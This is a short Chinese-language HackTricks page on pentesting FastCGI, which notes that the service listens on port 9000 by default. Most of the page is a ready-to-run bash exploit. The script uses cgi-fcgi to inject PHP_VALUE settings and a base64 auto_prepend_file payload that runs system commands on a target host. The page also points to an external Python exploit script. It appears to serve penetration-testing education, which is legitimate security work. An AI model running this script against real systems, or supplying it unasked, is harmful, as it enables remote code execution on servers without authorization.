hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md
2023-08-03 19:12:22 +00:00

4.3 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

如果你想了解什么是FastCGI,请查看以下页面:

{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %} disable_functions-bypass-php-fpm-fastcgi.md {% endcontent-ref %}

默认情况下,FastCGI9000端口运行并且nmap无法识别。通常FastCGI只在本地主机上监听。

RCE

很容易让FastCGI执行任意代码

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

或者您也可以使用以下Python脚本https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥